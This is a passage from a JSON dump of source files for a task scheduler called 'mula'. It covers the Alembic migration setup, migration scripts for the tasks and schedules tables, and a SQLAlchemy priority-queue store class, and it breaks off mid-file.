driver://user:pass@localhost/dbname\n\n# [post_write_hooks]\n# This section defines scripts or Python functions that are run\n# on newly generated revision scripts.  See the documentation for further\n# detail and examples\n\n# format using \"black\" - use the console_scripts runner,\n# against the \"black\" entrypoint\n# hooks = black\n# black.type = console_scripts\n# black.entrypoint = black\n# black.options = -l 79 REVISION_SCRIPT_FILENAME\n\n# Logging configuration\n[loggers]\nkeys = root,sqlalchemy,alembic\n\n[handlers]\nkeys = console\n\n[formatters]\nkeys = generic\n\n[logger_root]\nlevel = WARN\nhandlers = console\nqualname =\n\n[logger_sqlalchemy]\nlevel = WARN\nhandlers =\nqualname = sqlalchemy.engine\n\n[logger_alembic]\nlevel = INFO\nhandlers =\nqualname = alembic\n\n[handler_console]\nclass = StreamHandler\nargs = (sys.stderr,)\nlevel = NOTSET\nformatter = generic\n\n[formatter_generic]\nformat = %(levelname)-5.5s [%(name)s] %(message)s\ndatefmt = %H:%M:%S\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/env.py",
    "content": "from logging.config import fileConfig\n\nfrom alembic import context\nfrom sqlalchemy import engine_from_config, pool\n\nfrom scheduler.config import settings\nfrom scheduler.models import Base\n\n# this is the Alembic Config object, which provides\n# access to the values within the .ini file in use.\nscheduler_cfg = settings.Settings()\nconfig = context.config\n\n# Interpret the config file for Python logging.\n# This line sets up loggers basically.\nfileConfig(config.config_file_name)\n\n# add your model's MetaData object here\n# for 'autogenerate' support\ntarget_metadata = Base.metadata\n\n# other values from the config, defined by the needs of env.py,\n# can be acquired:\n# ... etc.\nconfig.set_main_option(\"sqlalchemy.url\", str(scheduler_cfg.db_uri))\n\n\ndef run_migrations_offline():\n    \"\"\"Run migrations in 'offline' mode.\n    This configures the context with just a URL\n    and not an Engine, though an Engine is acceptable\n    here as well.  By skipping the Engine creation\n    we don't even need a DBAPI to be available.\n    Calls to context.execute() here emit the given string to the\n    script output.\n    \"\"\"\n    url = config.get_main_option(\"sqlalchemy.url\")\n    context.configure(\n        url=url,\n        target_metadata=target_metadata,\n        literal_binds=True,\n        dialect_opts={\"paramstyle\": \"named\"},\n        compare_server_default=True,\n        compare_type=True,\n    )\n\n    with context.begin_transaction():\n        context.run_migrations()\n\n\ndef run_migrations_online():\n    \"\"\"Run migrations in 'online' mode.\n    In this scenario we need to create an Engine\n    and associate a connection with the context.\n    \"\"\"\n    connectable = engine_from_config(\n        config.get_section(config.config_ini_section), prefix=\"sqlalchemy.\", poolclass=pool.NullPool\n    )\n\n    with connectable.connect() as connection:\n        context.configure(\n            connection=connection, target_metadata=target_metadata, compare_server_default=True, compare_type=True\n        )\n\n        with context.begin_transaction():\n            context.run_migrations()\n\n\nif context.is_offline_mode():\n    run_migrations_offline()\nelse:\n    run_migrations_online()\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/script.py.mako",
    "content": "\"\"\"${message}\n\nRevision ID: ${up_revision}\nRevises: ${down_revision | comma,n}\nCreate Date: ${create_date}\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n${imports if imports else \"\"}\n\n# revision identifiers, used by Alembic.\nrevision = ${repr(up_revision)}\ndown_revision = ${repr(down_revision)}\nbranch_labels = ${repr(branch_labels)}\ndepends_on = ${repr(depends_on)}\n\n\ndef upgrade():\n    ${upgrades if upgrades else \"pass\"}\n\n\ndef downgrade():\n    ${downgrades if downgrades else \"pass\"}\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/versions/0001_initial_migration.py",
    "content": "\"\"\"Initial migration\nRevision ID: 0001\nRevises:\nCreate Date: 2022-07-25 11:02:13.395259\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\nimport scheduler\n\n# revision identifiers, used by Alembic.\nrevision = \"0001\"\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # First version of the scheduler didn't use alembic, so we have to check\n    # whether the table exists before trying to create it\n    bind = op.get_context().bind\n    insp = sa.inspect(bind)\n    if not insp.has_table(\"tasks\"):\n        # ### commands auto generated by Alembic - please adjust! ###\n        op.create_table(\n            \"tasks\",\n            sa.Column(\"id\", scheduler.utils.datastore.GUID(), nullable=False),\n            sa.Column(\"hash\", sa.String(), nullable=True),\n            sa.Column(\"scheduler_id\", sa.String(), nullable=True),\n            sa.Column(\"task\", sa.JSON(), nullable=False),\n            sa.Column(\n                \"status\",\n                sa.Enum(\"PENDING\", \"QUEUED\", \"DISPATCHED\", \"RUNNING\", \"COMPLETED\", \"FAILED\", name=\"taskstatus\"),\n                nullable=False,\n            ),\n            sa.Column(\"created_at\", sa.DateTime(timezone=True), nullable=False),\n            sa.Column(\"modified_at\", sa.DateTime(timezone=True), nullable=False),\n            sa.PrimaryKeyConstraint(\"id\"),\n        )\n        # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table(\"tasks\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/versions/0002_update_tasks.py",
    "content": "\"\"\"Update tasks\nRevision ID: 0002\nRevises: 0001\nCreate Date: 2022-11-02 10:33:34.403970\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\nimport scheduler\n\n# revision identifiers, used by Alembic.\nrevision = \"0002\"\ndown_revision = \"0001\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    bind = op.get_context().bind\n    insp = sa.inspect(bind)\n    if not insp.has_table(\"items\"):\n        # ### commands auto generated by Alembic - please adjust! ###\n        op.create_table(\n            \"items\",\n            sa.Column(\"id\", scheduler.utils.datastore.GUID(), nullable=False),\n            sa.Column(\"scheduler_id\", sa.String(), nullable=True),\n            sa.Column(\"hash\", sa.String(), nullable=True),\n            sa.Column(\"priority\", sa.Integer(), nullable=True),\n            sa.Column(\"data\", sa.JSON(), nullable=False),\n            sa.Column(\"created_at\", sa.DateTime(timezone=True), nullable=False),\n            sa.Column(\"modified_at\", sa.DateTime(timezone=True), nullable=False),\n            sa.PrimaryKeyConstraint(\"id\"),\n        )\n\n        with op.batch_alter_table(\"tasks\", schema=None) as batch_op:\n            batch_op.add_column(sa.Column(\"p_item\", sa.JSON(), nullable=False))\n            batch_op.drop_column(\"task\")\n            batch_op.drop_column(\"hash\")\n        # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    with op.batch_alter_table(\"tasks\", schema=None) as batch_op:\n        batch_op.add_column(sa.Column(\"hash\", sa.VARCHAR(), autoincrement=False, nullable=True))\n        batch_op.add_column(sa.Column(\"task\", sa.JSON(), autoincrement=False, nullable=False))\n        batch_op.drop_column(\"p_item\")\n\n    op.drop_table(\"items\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/versions/0003_add_type_field_to_tasks.py",
    "content": "\"\"\"Add type field to tasks\n\nRevision ID: 003\nRevises: 0002\nCreate Date: 2022-12-29 12:40:55.366259\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"003\"\ndown_revision = \"0002\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    with op.batch_alter_table(\"tasks\", schema=None) as batch_op:\n        batch_op.add_column(sa.Column(\"type\", sa.String(), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    with op.batch_alter_table(\"tasks\", schema=None) as batch_op:\n        batch_op.drop_column(\"type\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/versions/0004_add_server_default.py",
    "content": "\"\"\"Add server default for created_at and modified_at\n\nRevision ID: 0004\nRevises: 003\nCreate Date: 2023-02-14 10:37:05.230181\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"0004\"\ndown_revision = \"003\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"items\",\n        \"created_at\",\n        existing_type=postgresql.TIMESTAMP(timezone=True),\n        server_default=sa.text(\"now()\"),\n        existing_nullable=False,\n    )\n    op.alter_column(\n        \"items\",\n        \"modified_at\",\n        existing_type=postgresql.TIMESTAMP(timezone=True),\n        server_default=sa.text(\"now()\"),\n        existing_nullable=False,\n    )\n    op.alter_column(\n        \"tasks\",\n        \"created_at\",\n        existing_type=postgresql.TIMESTAMP(timezone=True),\n        server_default=sa.text(\"now()\"),\n        existing_nullable=False,\n    )\n    op.alter_column(\n        \"tasks\",\n        \"modified_at\",\n        existing_type=postgresql.TIMESTAMP(timezone=True),\n        server_default=sa.text(\"now()\"),\n        existing_nullable=False,\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"tasks\",\n        \"modified_at\",\n        existing_type=postgresql.TIMESTAMP(timezone=True),\n        server_default=None,\n        existing_nullable=False,\n    )\n    op.alter_column(\n        \"tasks\",\n        \"created_at\",\n        existing_type=postgresql.TIMESTAMP(timezone=True),\n        server_default=None,\n        existing_nullable=False,\n    )\n    op.alter_column(\n        \"items\",\n        \"modified_at\",\n        existing_type=postgresql.TIMESTAMP(timezone=True),\n        server_default=None,\n        existing_nullable=False,\n    )\n    op.alter_column(\n        \"items\",\n        \"created_at\",\n        existing_type=postgresql.TIMESTAMP(timezone=True),\n        server_default=None,\n        existing_nullable=False,\n    )\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/versions/0005_size_limit_hash.py",
    "content": "\"\"\"Size limit hash\n\nRevision ID: 0005\nRevises: 0004\nCreate Date: 2023-04-24 10:51:02.820727\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0005\"\ndown_revision = \"0004\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\"items\", \"hash\", existing_type=sa.String(), type_=sa.String(length=32), existing_nullable=True)\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\"items\", \"hash\", existing_type=sa.String(length=32), type_=sa.String(), existing_nullable=True)\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/versions/0006_add_jsonb_fields_add_jsonb_fields.py",
    "content": "\"\"\"Add jsonb fields\n\nRevision ID: 0006_add_jsonb_fields\nRevises: 0005\nCreate Date: 2023-05-03 11:48:01.679222\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"0006_add_jsonb_fields\"\ndown_revision = \"0005\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"items\",\n        \"data\",\n        existing_type=postgresql.JSON(astext_type=sa.Text()),\n        type_=postgresql.JSONB(astext_type=sa.Text()),\n        existing_nullable=False,\n    )\n    op.create_index(op.f(\"ix_items_hash\"), \"items\", [\"hash\"], unique=False)\n    op.alter_column(\n        \"tasks\",\n        \"p_item\",\n        existing_type=postgresql.JSON(astext_type=sa.Text()),\n        type_=postgresql.JSONB(astext_type=sa.Text()),\n        existing_nullable=False,\n    )\n    op.execute(\"CREATE INDEX ix_tasks_p_item_hash ON tasks ((p_item->>'hash'), created_at DESC)\")\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"tasks\",\n        \"p_item\",\n        existing_type=postgresql.JSONB(astext_type=sa.Text()),\n        type_=postgresql.JSON(astext_type=sa.Text()),\n        existing_nullable=False,\n    )\n    op.drop_index(op.f(\"ix_items_hash\"), table_name=\"items\")\n    op.alter_column(\n        \"items\",\n        \"data\",\n        existing_type=postgresql.JSONB(astext_type=sa.Text()),\n        type_=postgresql.JSON(astext_type=sa.Text()),\n        existing_nullable=False,\n    )\n    op.execute(\"DROP INDEX ix_tasks_p_item_hash\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/versions/0007_add_cancelled_status_for_tasks.py",
    "content": "\"\"\"Add CANCELLED status for tasks\n\nRevision ID: 0007\nRevises: 0006_add_jsonb_fields\nCreate Date: 2023-05-30 12:22:42.329666\n\n\"\"\"\n\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0007\"\ndown_revision = \"0006_add_jsonb_fields\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.execute(\"ALTER TYPE taskstatus ADD VALUE 'CANCELLED'\")\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.execute(\"ALTER TYPE taskstatus DROP VALUE 'CANCELLED'\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/versions/0008_add_task_schedule.py",
    "content": "\"\"\"add_task_schedule\n\nRevision ID: 0008\nRevises: 0007\nCreate Date: 2024-07-17 09:53:20.673139\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.dialects import postgresql\n\nimport scheduler\n\n# revision identifiers, used by Alembic.\nrevision = \"0008\"\ndown_revision = \"0007\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table(\n        \"schedules\",\n        sa.Column(\"id\", scheduler.utils.datastore.GUID(), nullable=False),\n        sa.Column(\"scheduler_id\", sa.String(), nullable=False),\n        sa.Column(\"hash\", sa.String(length=32), nullable=True),\n        sa.Column(\"data\", postgresql.JSONB(astext_type=sa.Text()), nullable=False),\n        sa.Column(\"enabled\", sa.Boolean(), nullable=False),\n        sa.Column(\"schedule\", sa.String(), nullable=True),\n        sa.Column(\"deadline_at\", sa.DateTime(timezone=True), nullable=True),\n        sa.Column(\"created_at\", sa.DateTime(timezone=True), server_default=sa.text(\"now()\"), nullable=False),\n        sa.Column(\"modified_at\", sa.DateTime(timezone=True), server_default=sa.text(\"now()\"), nullable=False),\n        sa.PrimaryKeyConstraint(\"id\"),\n        sa.UniqueConstraint(\"hash\"),\n    )\n\n    op.drop_index(\"ix_items_hash\", table_name=\"items\")\n    op.drop_table(\"items\")\n\n    op.add_column(\"tasks\", sa.Column(\"schedule_id\", scheduler.utils.datastore.GUID(), nullable=True))\n    op.add_column(\"tasks\", sa.Column(\"hash\", sa.String(length=32), nullable=True))\n    op.add_column(\"tasks\", sa.Column(\"priority\", sa.Integer(), nullable=True))\n    op.add_column(\"tasks\", sa.Column(\"data\", postgresql.JSONB(astext_type=sa.Text()), nullable=True))\n\n    # Migrate data from p_item to columns\n    op.execute(\"\"\"UPDATE tasks SET data = p_item -> 'data'\"\"\")\n    op.execute(\"\"\"UPDATE tasks SET priority = (p_item ->> 'priority')::integer\"\"\")\n    op.execute(\"\"\"UPDATE tasks SET hash = p_item ->> 'hash'\"\"\")\n\n    op.alter_column(\"tasks\", \"data\", nullable=False)\n\n    op.alter_column(\"tasks\", \"scheduler_id\", existing_type=sa.VARCHAR(), nullable=False)\n    op.alter_column(\"tasks\", \"type\", existing_type=sa.VARCHAR(), nullable=False)\n\n    op.drop_index(\"ix_tasks_p_item_hash\", table_name=\"tasks\")\n\n    op.create_index(op.f(\"ix_tasks_hash\"), \"tasks\", [\"hash\"], unique=False)\n    op.create_foreign_key(None, \"tasks\", \"schedules\", [\"schedule_id\"], [\"id\"], ondelete=\"SET NULL\")\n\n    op.drop_column(\"tasks\", \"p_item\")\n\n    # Create schedules from tasks\n    op.execute(\n        \"\"\"\n        INSERT INTO schedules (id, scheduler_id, hash, data, enabled, schedule, deadline_at, created_at, modified_at)\n        SELECT DISTINCT ON (scheduler_id, hash) gen_random_uuid(), scheduler_id, hash, data, true, '0 0 * * *',\n               now() + INTERVAL '1 day' * random(), now(), now()\n        FROM tasks ORDER BY scheduler_id, hash, created_at DESC\n    \"\"\"\n    )\n\n    # Update tasks with schedule_id\n    op.execute(\n        \"\"\"\n        UPDATE tasks\n        SET schedule_id = schedules.id\n        FROM schedules\n        WHERE tasks.hash = schedules.hash\n        \"\"\"\n    )\n\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\n        \"tasks\", sa.Column(\"p_item\", postgresql.JSONB(astext_type=sa.Text()), autoincrement=False, nullable=False)\n    )\n\n    op.execute(\n        \"\"\"\n        UPDATE tasks\n        SET p_item = jsonb_set(p_item, '{data}', data)\n    \"\"\"\n    )\n\n    op.execute(\n        \"\"\"\n        UPDATE tasks\n        SET p_item = jsonb_set(p_item, '{priority}', to_jsonb(priority))\n    \"\"\"\n    )\n\n    op.execute(\n        \"\"\"\n        UPDATE tasks\n        SET p_item = jsonb_set(p_item, '{hash}', to_jsonb(hash))\n    \"\"\"\n    )\n\n    op.drop_constraint(None, \"tasks\", type_=\"foreignkey\")\n    op.drop_index(op.f(\"ix_tasks_hash\"), table_name=\"tasks\")\n    op.create_index(\n        \"ix_tasks_p_item_hash\",\n        \"tasks\",\n        [sa.text(\"(p_item ->> 'hash'::text)\"), sa.text(\"created_at DESC\")],\n        unique=False,\n    )\n    op.alter_column(\"tasks\", \"type\", existing_type=sa.VARCHAR(), nullable=True)\n    op.alter_column(\"tasks\", \"scheduler_id\", existing_type=sa.VARCHAR(), nullable=True)\n    op.drop_column(\"tasks\", \"data\")\n    op.drop_column(\"tasks\", \"priority\")\n    op.drop_column(\"tasks\", \"hash\")\n    op.drop_column(\"tasks\", \"schedule_id\")\n    op.create_table(\n        \"items\",\n        sa.Column(\"id\", sa.UUID(), autoincrement=False, nullable=False),\n        sa.Column(\"scheduler_id\", sa.VARCHAR(), autoincrement=False, nullable=True),\n        sa.Column(\"hash\", sa.VARCHAR(length=32), autoincrement=False, nullable=True),\n        sa.Column(\"priority\", sa.INTEGER(), autoincrement=False, nullable=True),\n        sa.Column(\"data\", postgresql.JSONB(astext_type=sa.Text()), autoincrement=False, nullable=False),\n        sa.Column(\n            \"created_at\",\n            postgresql.TIMESTAMP(timezone=True),\n            server_default=sa.text(\"now()\"),\n            autoincrement=False,\n            nullable=False,\n        ),\n        sa.Column(\n            \"modified_at\",\n            postgresql.TIMESTAMP(timezone=True),\n            server_default=sa.text(\"now()\"),\n            autoincrement=False,\n            nullable=False,\n        ),\n        sa.PrimaryKeyConstraint(\"id\", name=\"items_pkey\"),\n    )\n    op.create_index(\"ix_items_hash\", \"items\", [\"hash\"], unique=False)\n    op.drop_table(\"schedules\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/versions/0009_add_organisation.py",
    "content": "\"\"\"Add organisation column to schedules and tasks\n\nRevision ID: 0009\nRevises: 0008\nCreate Date: 2024-12-10 15:21:27.445743\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0009\"\ndown_revision = \"0008\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\"schedules\", sa.Column(\"organisation\", sa.String(), nullable=True))\n    op.add_column(\"tasks\", sa.Column(\"organisation\", sa.String(), nullable=True))\n\n    conn = op.get_bind()\n    conn.execute(\n        sa.text(\n            \"\"\"\nUPDATE schedules SET organisation = data->>'organization' WHERE data->>'organization' IS NOT NULL;\nUPDATE schedules SET organisation = data->'raw_data'->'boefje_meta'->>'organization' WHERE data->'raw_data'->'boefje_meta'->>'organization' IS NOT NULL;\nUPDATE schedules SET organisation = data->>'organisation_id' WHERE data->>'organisation_id' IS NOT NULL;\n\nUPDATE tasks SET organisation = data->>'organization' WHERE type = 'boefje';\nUPDATE tasks SET organisation = data->'raw_data'->'boefje_meta'->>'organization' WHERE type = 'normalizer';\nUPDATE tasks SET organisation = data->>'organisation_id' WHERE type = 'report';\n\"\"\"  # noqa: E501\n        )\n    )\n\n    op.alter_column(\"schedules\", \"organisation\", nullable=False)\n    op.alter_column(\"tasks\", \"organisation\", nullable=False)\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column(\"tasks\", \"organisation\")\n    op.drop_column(\"schedules\", \"organisation\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/versions/0010_add_indices.py",
    "content": "\"\"\"Add indices\n\nRevision ID: 0010\nRevises: 0009\nCreate Date: 2025-03-13 14:55:52.559484\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0010\"\ndown_revision = \"0009\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_index(\n        \"ix_tasks_status_queued\",\n        \"tasks\",\n        [\"scheduler_id\", \"status\"],\n        unique=False,\n        postgresql_where=sa.text(\"status = 'QUEUED'\"),\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_index(\"ix_tasks_status_queued\", table_name=\"tasks\", postgresql_where=sa.text(\"status = 'QUEUED'\"))\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/versions/0011_add_more_indexes.py",
    "content": "\"\"\"Add more indexes\n\nRevision ID: 0011\nRevises: 0010\nCreate Date: 2026-02-17 09:21:58.416181\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0011\"\ndown_revision = \"0010\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_index(\"ix_schedules_enabled\", \"schedules\", [\"enabled\"], unique=False)\n    op.create_index(\"ix_schedules_hash\", \"schedules\", [\"hash\"], unique=False)\n    op.create_index(\"ix_schedules_organisation\", \"schedules\", [\"organisation\"], unique=False)\n    op.create_index(\"ix_schedules_scheduler_id\", \"schedules\", [\"scheduler_id\"], unique=False)\n    op.create_index(\n        \"ix_tasks_active_per_schedule\",\n        \"tasks\",\n        [\"schedule_id\"],\n        unique=True,\n        postgresql_where=sa.text(\"status IN ('PENDING', 'QUEUED', 'DISPATCHED', 'RUNNING')\"),\n    )\n    op.create_index(\"ix_tasks_organisation\", \"tasks\", [\"organisation\"], unique=False)\n    op.create_index(\"ix_tasks_scheduler_id\", \"tasks\", [\"scheduler_id\"], unique=False)\n    op.create_index(\"ix_tasks_status\", \"tasks\", [\"status\"], unique=False)\n    op.create_index(\"ix_tasks_type\", \"tasks\", [\"type\"], unique=False)\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_index(\"ix_tasks_type\", table_name=\"tasks\")\n    op.drop_index(\"ix_tasks_status\", table_name=\"tasks\")\n    op.drop_index(\"ix_tasks_scheduler_id\", table_name=\"tasks\")\n    op.drop_index(\"ix_tasks_organisation\", table_name=\"tasks\")\n    op.drop_index(\n        \"ix_tasks_active_per_schedule\",\n        table_name=\"tasks\",\n        postgresql_where=sa.text(\"status IN ('PENDING', 'QUEUED', 'DISPATCHED', 'RUNNING')\"),\n    )\n    op.drop_index(\"ix_schedules_scheduler_id\", table_name=\"schedules\")\n    op.drop_index(\"ix_schedules_organisation\", table_name=\"schedules\")\n    op.drop_index(\"ix_schedules_hash\", table_name=\"schedules\")\n    op.drop_index(\"ix_schedules_enabled\", table_name=\"schedules\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/versions/__init__.py",
    "content": ""
  },
  {
    "path": "mula/scheduler/storage/stores/__init__.py",
    "content": "from .pq import PriorityQueueStore\nfrom .schedule import ScheduleStore\nfrom .task import TaskStore\n"
  },
  {
    "path": "mula/scheduler/storage/stores/pq.py",
    "content": "from uuid import UUID\n\nfrom sqlalchemy import exc\nfrom sqlalchemy.orm.query import Query\n\nfrom scheduler import models\nfrom scheduler.storage import DBConn\nfrom scheduler.storage.errors import StorageError, exception_handler\nfrom scheduler.storage.filters import FilterRequest, apply_filter\nfrom scheduler.storage.utils import retry\n\n\nclass PriorityQueueStore:\n    name: str = \"pq_store\"\n\n    def __init__(self, dbconn: DBConn) -> None:\n        self.dbconn = dbconn\n\n    def build_pop_query(self, session, scheduler_id: str | None = None, filters: FilterRequest | None = None) -> Query:\n        query = session.query(models.TaskDB).filter(models.TaskDB.status == models.TaskStatus.QUEUED)\n\n        if scheduler_id is not None:\n            query = query.filter(models.TaskDB.scheduler_id == scheduler_id)\n\n        if filters is not None:\n            query = apply_filter(models.TaskDB, query, filters)\n\n        return query\n\n    def _pop_with_session(\n        self, session, scheduler_id: str | None = None, limit: int | None = None, filters: FilterRequest | None = None\n    ) -> list[models.Task]:\n        query = self.build_pop_query(session, scheduler_id, filters)\n\n        try:\n            task_db_items = (\n                query.order_by(models.TaskDB.priority.asc(), models.TaskDB.created_at.asc()).limit(limit).all()\n            )\n        except exc.ProgrammingError as e:\n            raise StorageError(f\"Invalid filter: {e}\") from e\n\n        return [models.Task.model_validate(item) for item in task_db_items]\n\n    @retry()\n    @exception_handler\n    def pop(\n        self, scheduler_id: str | None = None, limit: int | None = None, filters: FilterRequest | None = None\n    ) -> list[models.Task]:\n        with self.dbconn.session() as session:\n            return self._pop_with_session(session, scheduler_id, limit, filters)\n\n    def pop_boefje(\n        self, scheduler_id: str | None = None, limit: int | None = None, filters: FilterRequest | None = None\n    ) -> list[models.Task]:\n        \"\"\"Custom pop method for the `BoefjeScheduler`\"\"\"\n        with self.dbconn.session() as session:\n            query = self.build_pop_query(session, scheduler_id, filters)\n\n            try:\n                dkey_tasks = (\n                    query.filter(models.TaskDB.data[\"deduplication_key\"].astext.isnot(None))\n                    .order_by(models.TaskDB.priority.asc(), models.TaskDB.created_at.asc())\n                    .all()\n                )\n                if not dkey_tasks:\n                    # No tasks with a deduplication key, fall back to the\n                    # default pop. We explicitly limit to 1 for the boefje\n                    # scheduler, when there are no tasks with a deduplication\n                    # key.\n                    return self._pop_with_session(session, scheduler_id, limit=1, filters=filters)\n\n                # Get the first task with a deduplication key\n                first_dkey = dkey_tasks[0].data[\"deduplication_key\"]\n\n                # Fresh query to avoid issues with the previous query\n                query = self.build_pop_query(session, scheduler_id, filters)\n\n                # Filter the query to only include tasks with the same deduplication key\n                item_orm = (\n                    query.filter(models.TaskDB.data[\"deduplication_key\"].astext == first_dkey)\n                    .order_by(models.TaskDB.priority.asc(), models.TaskDB.created_at.asc())\n                    .limit(limit)\n                    .all()\n                )\n            except exc.ProgrammingError as e:\n                raise StorageError(f\"Invalid filter: {e}\") from e\n\n            items = [models.Task.model_validate(item_orm) for item_orm in item_orm]\n\n            return items\n\n    @retry()\n    @exception_handler\n    def push(self, item: models.Task) -> models.Task | None:\n        with self.dbconn.session.begin() as session:\n            item_orm = models.TaskDB(**item.model_dump())\n            session.add(item_orm)\n\n            return models.Task.model_validate(item_orm)\n\n    @retry()\n    @exception_handler\n    def peek(self, scheduler_id: str, index: int) -> models.Task | None:\n        with self.dbconn.session.begin() as session:\n            item_orm = (\n                session.query(models.TaskDB)\n                .filter(models.TaskDB.status == models.TaskStatus.QUEUED)\n                .filter(models.TaskDB.scheduler_id == scheduler_id)\n                .order_by(models.TaskDB.priority.asc())\n                .order_by(models.TaskDB.created_at.asc())\n                .offset(index)\n                .first()\n            )\n\n            if item_orm is None:\n                return None\n\n            return models.Task.model_validate(item_orm)\n\n    @retry()\n    @exception_handler\n    def update(self, scheduler_id: str, item: models.Task) -> None:\n        with self.dbconn.session.begin() as session:\n            (\n                session.query(models.TaskDB)\n                .filter(models.TaskDB.status == models.TaskStatus.QUEUED)\n                .filter(models.TaskDB.scheduler_id == scheduler_id)\n                .filter(models.TaskDB.id == item.id)\n                .update(item.model_dump())\n            )\n\n    @retry()\n    @exception_handler\n    def remove(self, scheduler_id: str, item_id: UUID) -> None:\n        with self.dbconn.session.begin() as session:\n            (\n                session.query(models.TaskDB)\n                .filter(models.TaskDB.status == models.TaskStatus.QUEUED)\n                .filter(models.TaskDB.scheduler_id == scheduler_id)\n                .filter(models.TaskDB.id == str(item_id))\n                .delete()\n            )\n\n    @retry()\n    @exception_handler\n    def get(self, scheduler_id, item_id: UUID) -> models.Task | None:\n        with self.dbconn.session.begin() as session:\n            item_orm = (\n                session.query(models.TaskDB)\n                .filter(models.TaskDB.status == models.TaskStatus.QUEUED)\n                .filter(models.TaskDB.scheduler_id == scheduler_id)\n                .filter(models.TaskDB.id == str(item_id))\n                .first()\n            )\n\n            if item_orm is None:\n                return None\n\n            return models.Task.model_validate(item_orm)\n\n    @retry()\n    @exception_handler\n    def empty(self, scheduler_id: str) -> bool:\n        with self.dbconn.session.begin() as session:\n            count = (\n                session.query(models.TaskDB)\n                .filter(models.TaskDB.status == models.TaskStatus.QUEUED)\n                .filter(models.TaskDB.scheduler_id == scheduler_id)\n                .count()\n            )\n            return count == 0\n\n    @retry()\n    @exception_handler\n    def qsize(self, scheduler_id: str) -> int:\n        with self.dbconn.session.begin() as session:\n            count = (\n                session.query(models.TaskDB)\n                .filter(models.TaskDB.status == models.TaskStatus.QUEUED)\n                .filter(models.TaskDB.scheduler_id == scheduler_id)\n                .count()\n            )\n\n            